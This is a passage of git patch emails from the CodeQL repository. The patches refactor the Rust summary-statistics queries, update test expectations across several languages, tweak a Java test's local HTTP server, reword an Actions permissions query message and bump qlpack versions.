32e2c1912c85fd787a4aa8358f20da8740ccb2e3 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 11 Mar 2025 17:37:48 +0000 Subject: [PATCH 187/282] Rust: Move all summary stats logic into Stats.qll. --- rust/ql/src/queries/summary/Stats.qll | 92 +++++++++++++++++++++ rust/ql/src/queries/summary/SummaryStats.ql | 81 ------------------ 2 files changed, 92 insertions(+), 81 deletions(-) diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index a2220398b41..a24a4eac9c9 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -11,6 +11,9 @@ private import codeql.rust.internal.PathResolutionConsistency as PathResolutionC private import codeql.rust.controlflow.internal.CfgConsistency as CfgConsistency private import codeql.rust.dataflow.internal.DataFlowConsistency as DataFlowConsistency private import codeql.rust.Concepts +private import codeql.rust.Diagnostics +private import codeql.rust.security.SensitiveData +private import TaintReach // import all query extensions files, so that all extensions of `QuerySink` are found private import codeql.rust.security.CleartextLoggingExtensions private import codeql.rust.security.SqlInjectionExtensions @@ -72,3 +75,92 @@ int getTaintEdgesCount() { * Gets a count of the total number of query sinks in the database. */ int getQuerySinksCount() { result = count(QuerySink s) } + +class CrateElement extends Element { + CrateElement() { + this instanceof Crate or + this instanceof NamedCrate or + this.(AstNode).getParentNode*() = any(Crate c).getModule() + } +} + +/** + * Gets summary statistics about individual elements in the database. + */ +predicate elementStats(string key, int value) { + key = "Elements extracted" and + value = count(Element e | not e instanceof Unextracted and not e instanceof CrateElement) + or + key = "Elements unextracted" and value = count(Unextracted e) +} + +/** + * Gets summary statistics about extraction. + */ +predicate extractionStats(string key, int value) { + key = "Extraction errors" and value = count(ExtractionError e) + or + key = "Extraction warnings" and value = count(ExtractionWarning w) + or + key = "Files extracted - total" and value = count(ExtractedFile f | exists(f.getRelativePath())) + or + key = "Files extracted - with errors" and + value = + count(ExtractedFile f | + exists(f.getRelativePath()) and not f instanceof SuccessfullyExtractedFile + ) + or + key = "Files extracted - without errors" and + value = count(SuccessfullyExtractedFile f | exists(f.getRelativePath())) + or + key = "Files extracted - without errors %" and + value = + (count(SuccessfullyExtractedFile f | exists(f.getRelativePath())) * 100) / + count(ExtractedFile f | exists(f.getRelativePath())) + or + key = "Lines of code extracted" and value = getLinesOfCode() + or + key = "Lines of user code extracted" and value = getLinesOfUserCode() + or + key = "Macro calls - total" and value = count(MacroCall mc) + or + key = "Macro calls - resolved" and value = count(MacroCall mc | mc.hasExpanded()) + or + key = "Macro calls - unresolved" and value = count(MacroCall mc | not mc.hasExpanded()) +} + +/** + * Gets summary statistics about inconsistencies. + */ +predicate inconsistencyStats(string key, int value) { + key = "Inconsistencies - AST" and value = getTotalAstInconsistencies() + or + key = "Inconsistencies - Path resolution" and value = getTotalPathResolutionInconsistencies() + or + key = "Inconsistencies - CFG" and value = getTotalCfgInconsistencies() + or + key = "Inconsistencies - data flow" and value = getTotalDataFlowInconsistencies() +} + +/** + * Gets summary statistics about taint. + */ +predicate taintStats(string key, int value) { + key = "Taint sources - active" and value = count(ActiveThreatModelSource s) + or + key = "Taint sources - disabled" and + value = count(ThreatModelSource s | not s instanceof ActiveThreatModelSource) + or + key = "Taint sources - sensitive data" and value = count(SensitiveData d) + or + key = "Taint edges - number of edges" and value = getTaintEdgesCount() + or + key = "Taint reach - nodes tainted" and value = getTaintedNodesCount() + or + key = "Taint reach - per million nodes" and value = getTaintReach().floor() + or + key = "Taint sinks - query sinks" and value = getQuerySinksCount() + or + key = "Taint sinks - cryptographic operations" and + value = count(Cryptography::CryptographicOperation o) +} diff --git a/rust/ql/src/queries/summary/SummaryStats.ql b/rust/ql/src/queries/summary/SummaryStats.ql index d9c88a7c56e..57ac5b4004e 100644 --- a/rust/ql/src/queries/summary/SummaryStats.ql +++ b/rust/ql/src/queries/summary/SummaryStats.ql @@ -7,88 +7,7 @@ */ import rust -import codeql.rust.Concepts -import codeql.rust.security.SensitiveData -import codeql.rust.Diagnostics import Stats -import TaintReach - -class CrateElement extends Element { - CrateElement() { - this instanceof Crate or - this instanceof NamedCrate or - this.(AstNode).getParentNode*() = any(Crate c).getModule() - } -} - -predicate elementStats(string key, int value) { - key = "Elements extracted" and - value = count(Element e | not e instanceof Unextracted and not e instanceof CrateElement) - or - key = "Elements unextracted" and value = count(Unextracted e) -} - -predicate extractionStats(string key, int value) { - key = "Extraction errors" and value = count(ExtractionError e) - or - key = "Extraction warnings" and value = count(ExtractionWarning w) - or - key = "Files extracted - total" and value = count(ExtractedFile f | exists(f.getRelativePath())) - or - key = "Files extracted - with errors" and - value = - count(ExtractedFile f | - exists(f.getRelativePath()) and not f instanceof SuccessfullyExtractedFile - ) - or - key = "Files extracted - without errors" and - value = count(SuccessfullyExtractedFile f | exists(f.getRelativePath())) - or - key = "Files extracted - without errors %" and - value = - (count(SuccessfullyExtractedFile f | exists(f.getRelativePath())) * 100) / - count(ExtractedFile f | exists(f.getRelativePath())) - or - key = "Lines of code extracted" and value = getLinesOfCode() - or - key = "Lines of user code extracted" and value = getLinesOfUserCode() - or - key = "Macro calls - total" and value = count(MacroCall mc) - or - key = "Macro calls - resolved" and value = count(MacroCall mc | mc.hasExpanded()) - or - key = "Macro calls - unresolved" and value = count(MacroCall mc | not mc.hasExpanded()) -} - -predicate inconsistencyStats(string key, int value) { - key = "Inconsistencies - AST" and value = getTotalAstInconsistencies() - or - key = "Inconsistencies - Path resolution" and value = getTotalPathResolutionInconsistencies() - or - key = "Inconsistencies - CFG" and value = getTotalCfgInconsistencies() - or - key = "Inconsistencies - data flow" and value = getTotalDataFlowInconsistencies() -} - -predicate taintStats(string key, int value) { - key = "Taint sources - active" and value = count(ActiveThreatModelSource s) - or - key = "Taint sources - disabled" and - value = count(ThreatModelSource s | not s instanceof ActiveThreatModelSource) - or - key = "Taint sources - sensitive data" and value = count(SensitiveData d) - or - key = "Taint edges - number of edges" and value = getTaintEdgesCount() - or - key = "Taint reach - nodes tainted" and value = getTaintedNodesCount() - or - key = "Taint reach - per million nodes" and value = getTaintReach().floor() - or - key = "Taint sinks - query sinks" and value = getQuerySinksCount() - or - key = "Taint sinks - cryptographic operations" and - value = count(Cryptography::CryptographicOperation o) -} from string key, int value where From cc90ba5836c1c60921ab7f4dfddb555c583114e2 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 11 Mar 2025 17:45:24 +0000 Subject: [PATCH 188/282] Rust: Create a less noisy version of the summary stats query, for use in tests. --- .../hello-project/summary.qlref | 2 +- .../hello-workspace/summary.qlref | 2 +- .../ql/src/queries/summary/SummaryStatsLess.ql | 18 ++++++++++++++++++ .../query-tests/diagnostics/SummaryStats.qlref | 1 - ...tats.expected => SummaryStatsLess.expected} | 0 .../diagnostics/SummaryStatsLess.qlref | 1 + 6 files changed, 21 insertions(+), 3 deletions(-) create mode 100644 rust/ql/src/queries/summary/SummaryStatsLess.ql delete mode 100644 rust/ql/test/query-tests/diagnostics/SummaryStats.qlref rename rust/ql/test/query-tests/diagnostics/{SummaryStats.expected => SummaryStatsLess.expected} (100%) create mode 100644 rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref diff --git a/rust/ql/integration-tests/hello-project/summary.qlref b/rust/ql/integration-tests/hello-project/summary.qlref index b94ba40446a..3d1b7ac7f1b 100644 --- a/rust/ql/integration-tests/hello-project/summary.qlref +++ b/rust/ql/integration-tests/hello-project/summary.qlref @@ -1 +1 @@ -queries/summary/SummaryStats.ql +queries/summary/SummaryStatsLess.ql diff --git a/rust/ql/integration-tests/hello-workspace/summary.qlref b/rust/ql/integration-tests/hello-workspace/summary.qlref index b94ba40446a..3d1b7ac7f1b 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.qlref +++ b/rust/ql/integration-tests/hello-workspace/summary.qlref @@ -1 +1 @@ -queries/summary/SummaryStats.ql +queries/summary/SummaryStatsLess.ql diff --git a/rust/ql/src/queries/summary/SummaryStatsLess.ql b/rust/ql/src/queries/summary/SummaryStatsLess.ql new file mode 100644 index 00000000000..ddcc76d16bc --- /dev/null +++ b/rust/ql/src/queries/summary/SummaryStatsLess.ql @@ -0,0 +1,18 @@ +/** + * @name Summary Statistics Less + * @description A table of summary statistics about a database, with data that + * has been found to be noisy on tests removed. + * @kind metric + * @id rust/summary/summary-statistics-less + * @tags summary + */ + +import rust +import Stats + +from string key, int value +where + extractionStats(key, value) + or + inconsistencyStats(key, value) +select key, value order by key diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStats.qlref b/rust/ql/test/query-tests/diagnostics/SummaryStats.qlref deleted file mode 100644 index b94ba40446a..00000000000 --- a/rust/ql/test/query-tests/diagnostics/SummaryStats.qlref +++ /dev/null @@ -1 +0,0 @@ -queries/summary/SummaryStats.ql diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected b/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.expected similarity index 100% rename from rust/ql/test/query-tests/diagnostics/SummaryStats.expected rename to rust/ql/test/query-tests/diagnostics/SummaryStatsLess.expected diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref b/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref new file mode 100644 index 00000000000..3d1b7ac7f1b --- /dev/null +++ b/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.qlref @@ -0,0 +1 @@ +queries/summary/SummaryStatsLess.ql From 86840a78c2c098b821118180e9d75b2db578c09e Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 11 Mar 2025 17:47:11 +0000 Subject: [PATCH 189/282] Rust: Update .expected files. --- .../integration-tests/hello-project/summary.expected | 10 ---------- .../hello-workspace/summary.cargo.expected | 10 ---------- .../hello-workspace/summary.rust-project.expected | 10 ---------- .../query-tests/diagnostics/SummaryStatsLess.expected | 10 ---------- 4 files changed, 40 deletions(-) diff --git a/rust/ql/integration-tests/hello-project/summary.expected b/rust/ql/integration-tests/hello-project/summary.expected index 1dd49972c22..1ce4e784cbf 100644 --- a/rust/ql/integration-tests/hello-project/summary.expected +++ b/rust/ql/integration-tests/hello-project/summary.expected @@ -1,5 +1,3 @@ -| Elements extracted | 67 | -| Elements unextracted | 0 | | Extraction errors | 0 | | Extraction warnings | 1 | | Files extracted - total | 5 | @@ -15,11 +13,3 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1674 | -| Taint reach - nodes tainted | 0 | -| Taint reach - per million nodes | 0 | -| Taint sinks - cryptographic operations | 0 | -| Taint sinks - query sinks | 1 | -| Taint sources - active | 0 | -| Taint sources - disabled | 0 | -| Taint sources - sensitive data | 0 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected index baaba2837e7..67da3bcf309 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.cargo.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.cargo.expected @@ -1,5 +1,3 @@ -| Elements extracted | 90 | -| Elements unextracted | 0 | | Extraction errors | 0 | | Extraction warnings | 0 | | Files extracted - total | 4 | @@ -15,11 +13,3 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1674 | -| Taint reach - nodes tainted | 0 | -| Taint reach - per million nodes | 0 | -| Taint sinks - cryptographic operations | 0 | -| Taint sinks - query sinks | 1 | -| Taint sources - active | 0 | -| Taint sources - disabled | 0 | -| Taint sources - sensitive data | 0 | diff --git a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected index baaba2837e7..67da3bcf309 100644 --- a/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected +++ b/rust/ql/integration-tests/hello-workspace/summary.rust-project.expected @@ -1,5 +1,3 @@ -| Elements extracted | 90 | -| Elements unextracted | 0 | | Extraction errors | 0 | | Extraction warnings | 0 | | Files extracted - total | 4 | @@ -15,11 +13,3 @@ | Macro calls - resolved | 2 | | Macro calls - total | 2 | | Macro calls - unresolved | 0 | -| Taint edges - number of edges | 1674 | -| Taint reach - nodes tainted | 0 | -| Taint reach - per million nodes | 0 | -| Taint sinks - cryptographic operations | 0 | -| Taint sinks - query sinks | 1 | -| Taint sources - active | 0 | -| Taint sources - disabled | 0 | -| Taint sources - sensitive data | 0 | diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.expected b/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.expected index d34cd849069..640bd179abd 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStatsLess.expected @@ -1,5 +1,3 @@ -| Elements extracted | 406 | -| Elements unextracted | 0 | | Extraction errors | 0 | | Extraction warnings | 7 | | Files extracted - total | 7 | @@ -15,11 +13,3 @@ | Macro calls - resolved | 8 | | Macro calls - total | 9 | | Macro calls - unresolved | 1 | -| Taint edges - number of edges | 1674 | -| Taint reach - nodes tainted | 0 | -| Taint reach - per million nodes | 0 | -| Taint sinks - cryptographic operations | 0 | -| Taint sinks - query sinks | 3 | -| Taint sources - active | 0 | -| Taint sources - disabled | 0 | -| Taint sources - sensitive data | 0 | From 73eebcbca6be68f8acf83bda16499695625c3f43 Mon Sep 17 00:00:00 2001 From: Joe Farebrother Date: Tue, 1 Apr 2025 09:59:58 +0100 Subject: [PATCH 190/282] Python: Add file-not-closed and special-method-wrong-signature to python code-quality suite --- python/ql/src/codeql-suites/python-code-quality.qls | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/python/ql/src/codeql-suites/python-code-quality.qls b/python/ql/src/codeql-suites/python-code-quality.qls index 1b0cc2b4e4a..3ada7e8eb4c 100644 --- a/python/ql/src/codeql-suites/python-code-quality.qls +++ b/python/ql/src/codeql-suites/python-code-quality.qls @@ -1,5 +1,7 @@ - queries: . - include: id: - - py/not-named-self + - py/not-named-self - py/not-named-cls + - py/file-not-closed + - py/special-method-wrong-signature From 7afcd1bbecf60c6c8bb7af57a31ae760b22f162e Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Tue, 1 Apr 2025 11:07:17 +0200 Subject: [PATCH 191/282] Swift: Update test output. --- .../ql/test/library-tests/dataflow/dataflow/DataFlow.expected | 3 +++ .../ql/test/library-tests/dataflow/dataflow/LocalFlow.expected | 2 ++ swift/ql/test/library-tests/dataflow/dataflow/test.swift | 2 +- 3 files changed, 6 insertions(+), 1 deletion(-) diff --git a/swift/ql/test/library-tests/dataflow/dataflow/DataFlow.expected b/swift/ql/test/library-tests/dataflow/dataflow/DataFlow.expected index bf6376bb0a1..7ab18dcf818 100644 --- a/swift/ql/test/library-tests/dataflow/dataflow/DataFlow.expected +++ b/swift/ql/test/library-tests/dataflow/dataflow/DataFlow.expected @@ -172,6 +172,7 @@ edges | test.swift:6:19:6:26 | call to source() | test.swift:7:15:7:15 | t1 | provenance | | | test.swift:6:19:6:26 | call to source() | test.swift:9:15:9:15 | t1 | provenance | | | test.swift:6:19:6:26 | call to source() | test.swift:10:15:10:15 | t2 | provenance | | +| test.swift:6:19:6:26 | call to source() | test.swift:15:15:15:15 | t2 | provenance | | | test.swift:25:20:25:27 | call to source() | test.swift:29:18:29:21 | x | provenance | | | test.swift:26:26:26:33 | call to source() | test.swift:29:26:29:29 | y | provenance | | | test.swift:29:18:29:21 | x | test.swift:30:15:30:15 | x | provenance | | @@ -964,6 +965,7 @@ nodes | test.swift:7:15:7:15 | t1 | semmle.label | t1 | | test.swift:9:15:9:15 | t1 | semmle.label | t1 | | test.swift:10:15:10:15 | t2 | semmle.label | t2 | +| test.swift:15:15:15:15 | t2 | semmle.label | t2 | | test.swift:25:20:25:27 | call to source() | semmle.label | call to source() | | test.swift:26:26:26:33 | call to source() | semmle.label | call to source() | | test.swift:29:18:29:21 | x | semmle.label | x | @@ -1706,6 +1708,7 @@ subpaths | test.swift:7:15:7:15 | t1 | test.swift:6:19:6:26 | call to source() | test.swift:7:15:7:15 | t1 | result | | test.swift:9:15:9:15 | t1 | test.swift:6:19:6:26 | call to source() | test.swift:9:15:9:15 | t1 | result | | test.swift:10:15:10:15 | t2 | test.swift:6:19:6:26 | call to source() | test.swift:10:15:10:15 | t2 | result | +| test.swift:15:15:15:15 | t2 | test.swift:6:19:6:26 | call to source() | test.swift:15:15:15:15 | t2 | result | | test.swift:30:15:30:15 | x | test.swift:25:20:25:27 | call to source() | test.swift:30:15:30:15 | x | result | | test.swift:31:15:31:15 | y | test.swift:26:26:26:33 | call to source() | test.swift:31:15:31:15 | y | result | | test.swift:39:15:39:29 | call to callee_source() | test.swift:35:12:35:19 | call to source() | test.swift:39:15:39:29 | call to callee_source() | result | diff --git a/swift/ql/test/library-tests/dataflow/dataflow/LocalFlow.expected b/swift/ql/test/library-tests/dataflow/dataflow/LocalFlow.expected index 7ec3f1a5aa4..3132e0aee3a 100644 --- a/swift/ql/test/library-tests/dataflow/dataflow/LocalFlow.expected +++ b/swift/ql/test/library-tests/dataflow/dataflow/LocalFlow.expected @@ -250,11 +250,13 @@ | test.swift:7:15:7:15 | [post] t1 | test.swift:8:10:8:10 | t1 | | test.swift:7:15:7:15 | t1 | test.swift:8:10:8:10 | t1 | | test.swift:8:5:8:10 | SSA def(t2) | test.swift:10:15:10:15 | t2 | +| test.swift:8:5:8:10 | SSA def(t2) | test.swift:15:5:15:5 | SSA phi(t2) | | test.swift:8:10:8:10 | t1 | test.swift:8:5:8:10 | SSA def(t2) | | test.swift:8:10:8:10 | t1 | test.swift:9:15:9:15 | t1 | | test.swift:9:15:9:15 | [post] t1 | test.swift:11:8:11:8 | t1 | | test.swift:9:15:9:15 | t1 | test.swift:11:8:11:8 | t1 | | test.swift:12:9:12:14 | SSA def(t2) | test.swift:13:19:13:19 | t2 | +| test.swift:12:9:12:14 | SSA def(t2) | test.swift:15:5:15:5 | SSA phi(t2) | | test.swift:12:14:12:14 | 0 | test.swift:12:9:12:14 | SSA def(t2) | | test.swift:15:5:15:5 | SSA phi(t2) | test.swift:15:15:15:15 | t2 | | test.swift:17:5:17:10 | SSA def(t1) | test.swift:21:15:21:15 | t1 | diff --git a/swift/ql/test/library-tests/dataflow/dataflow/test.swift b/swift/ql/test/library-tests/dataflow/dataflow/test.swift index 515aa666201..b0f23ccb303 100644 --- a/swift/ql/test/library-tests/dataflow/dataflow/test.swift +++ b/swift/ql/test/library-tests/dataflow/dataflow/test.swift @@ -12,7 +12,7 @@ func intraprocedural_with_local_flow() -> Void { t2 = 0 sink(arg: t2) } - sink(arg: t2) // $ MISSING: flow=6 + sink(arg: t2) // $ flow=6 t1 = 0; while(false) { From 1d49252c03840cd15ffd6d38b3b6692636dfbd1d Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 1 Apr 2025 12:34:18 +0200 Subject: [PATCH 192/282] Rust: QLTest: delete Cargo.lock files --- rust/extractor/src/qltest.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/rust/extractor/src/qltest.rs b/rust/extractor/src/qltest.rs index 9553907b7db..316ecd0cee4 100644 --- a/rust/extractor/src/qltest.rs +++ b/rust/extractor/src/qltest.rs @@ -4,6 +4,7 @@ use glob::glob; use itertools::Itertools; use std::ffi::OsStr; use std::fs; +use std::path::Path; use std::process::Command; use tracing::info; @@ -58,9 +59,18 @@ fn set_sources(config: &mut Config) -> anyhow::Result<()> { Ok(()) } +fn remove_file_if_exists(path: &Path) -> anyhow::Result<()> { + match fs::remove_file(path) { + Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()), + x => x, + } + .context(format!("removing file {}", path.display())) +} + pub(crate) fn prepare(config: &mut Config) -> anyhow::Result<()> { dump_lib()?; set_sources(config)?; + remove_file_if_exists(Path::new("Cargo.lock"))?; dump_cargo_manifest(&config.qltest_dependencies)?; if config.qltest_cargo_check { let status = Command::new("cargo") From 81a39f380ac6cdffc311e24aa479ea6b1f7bdcb1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C3=93scar=20San=20Jos=C3=A9?= Date: Tue, 1 Apr 2025 12:48:00 +0200 Subject: [PATCH 193/282] Change niceness of test server --- .../java/buildless-snapshot-repository/test.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/java/ql/integration-tests/java/buildless-snapshot-repository/test.py b/java/ql/integration-tests/java/buildless-snapshot-repository/test.py index e5e38d725ae..d343ce4b962 100644 --- a/java/ql/integration-tests/java/buildless-snapshot-repository/test.py +++ b/java/ql/integration-tests/java/buildless-snapshot-repository/test.py @@ -1,11 +1,15 @@ import subprocess -import sys +import runs_on def test(codeql, java): - # This serves the "repo" directory on http://localhost:9427 + # This serves the "repo" directory on http://localhost:9428 + command = ["python3", "-m", "http.server", "9428", "-b", "localhost"] + if runs_on.github_actions and runs_on.posix: + # On GitHub Actions, we try to run the server with higher priority + command = ["nice", "-n", "10"] + command repo_server_process = subprocess.Popen( - [sys.executable, "-m", "http.server", "9427"], cwd="repo" + command, cwd="repo" ) try: codeql.database.create( From 1ec3e8712b5b0daf3a0db52c30137a32fc0bc2e1 Mon Sep 17 00:00:00 2001 From: yoff Date: Tue, 1 Apr 2025 13:18:30 +0200 Subject: [PATCH 194/282] Apply suggestions from code review Co-authored-by: Aditya Sharad <6874315+adityasharad@users.noreply.github.com> --- actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql b/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql index 6d5bd04b3e2..760ef8c1897 100644 --- a/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql +++ b/actions/ql/src/Security/CWE-275/MissingActionsPermissions.ql @@ -30,6 +30,7 @@ string jobNeedsPersmission(Job job) { actionsPermissionsDataModel(versionedAction(stepUses(stepInJob(job))), result) } +/** Gets a suggestion for the minimal token permissions for `job`, as a JSON string. */ string permissionsForJob(Job job) { result = "{" + concat(string permission | permission = jobNeedsPersmission(job) | permission, ", ") + "}" @@ -46,4 +47,4 @@ where ) and permissions = permissionsForJob(job) select job, - "Actions Job or Workflow does not set permissions. A minimal set might be " + permissions + "Actions job or workflow does not limit the permissions of the GITHUB_TOKEN. Consider setting an explicit permissions block, using the following as a minimal starting point: " + permissions From 10205cb9906dfd6bcbffe7f68b601fd1a7d62cb2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 1 Apr 2025 11:30:43 +0000 Subject: [PATCH 195/282] Post-release preparation for codeql-cli-2.21.0 --- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 39 files changed, 39 insertions(+), 39 deletions(-) diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index 2362bf619f7..aecd3607345 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.6 +version: 0.4.7-dev library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index d43eedd5444..f6eb8be1138 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.5.3 +version: 0.5.4-dev library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index 2f9e0a91ca6..5ee964c4b50 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 4.1.0 +version: 4.1.1-dev groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml index be8212979fa..67293337da9 100644 --- a/cpp/ql/src/qlpack.yml +++ b/cpp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-queries -version: 1.3.7 +version: 1.3.8-dev groups: - cpp - queries diff --git a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml index 10f9ed40e0d..eefe4e2fe57 100644 --- a/csharp/ql/campaigns/Solorigate/lib/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-all -version: 1.7.37 +version: 1.7.38-dev groups: - csharp - solorigate diff --git a/csharp/ql/campaigns/Solorigate/src/qlpack.yml b/csharp/ql/campaigns/Solorigate/src/qlpack.yml index a4148e9688b..a03f987c8c7 100644 --- a/csharp/ql/campaigns/Solorigate/src/qlpack.yml +++ b/csharp/ql/campaigns/Solorigate/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-solorigate-queries -version: 1.7.37 +version: 1.7.38-dev groups: - csharp - solorigate diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml index e80d0a3ebbd..647655511ea 100644 --- a/csharp/ql/lib/qlpack.yml +++ b/csharp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-all -version: 5.1.3 +version: 5.1.4-dev groups: csharp dbscheme: semmlecode.csharp.dbscheme extractor: csharp diff --git a/csharp/ql/src/qlpack.yml b/csharp/ql/src/qlpack.yml index d669f267976..d6f04fe6575 100644 --- a/csharp/ql/src/qlpack.yml +++ b/csharp/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/csharp-queries -version: 1.1.0 +version: 1.1.1-dev groups: - csharp - queries diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml index 82bc42c2378..78d52739d9e 100644 --- a/go/ql/consistency-queries/qlpack.yml +++ b/go/ql/consistency-queries/qlpack.yml @@ -1,5 +1,5 @@ name: codeql-go-consistency-queries -version: 1.0.20 +version: 1.0.21-dev groups: - go - queries diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml index 487e9205e72..34ba33332a2 100644 --- a/go/ql/lib/qlpack.yml +++ b/go/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-all -version: 4.2.2 +version: 4.2.3-dev groups: go dbscheme: go.dbscheme extractor: go diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml index 514a7809b7f..3e3b248716d 100644 --- a/go/ql/src/qlpack.yml +++ b/go/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/go-queries -version: 1.1.11 +version: 1.1.12-dev groups: - go - queries diff --git a/java/ql/lib/qlpack.yml b/java/ql/lib/qlpack.yml index 9936592e430..1037ae7708a 100644 --- a/java/ql/lib/qlpack.yml +++ b/java/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-all -version: 7.1.2 +version: 7.1.3-dev groups: java dbscheme: config/semmlecode.dbscheme extractor: java diff --git a/java/ql/src/qlpack.yml b/java/ql/src/qlpack.yml index d7143d40041..e7c3a7da88e 100644 --- a/java/ql/src/qlpack.yml +++ b/java/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/java-queries -version: 1.4.0 +version: 1.4.1-dev groups: - java - queries diff --git a/javascript/ql/lib/qlpack.yml b/javascript/ql/lib/qlpack.yml index 9a38483496e..80004cfa6a0 100644 --- a/javascript/ql/lib/qlpack.yml +++ b/javascript/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/javascript-all -version: 2.6.0 +version: 2.6.1-dev groups: javascript dbscheme: semmlecode.javascript.dbscheme extractor: javascript diff --git a/javascript/ql/src/qlpack.yml b/javascript/ql/src/qlpack.yml index 7556097a440..3a5ecb85b4f 100644 --- a/javascript/ql/src/qlpack.yml +++ b/javascript/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: 